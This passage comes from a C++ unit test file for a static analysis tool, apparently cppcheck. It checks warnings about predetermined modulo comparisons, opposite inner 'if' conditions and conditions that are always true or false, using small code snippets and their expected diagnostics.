> 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, 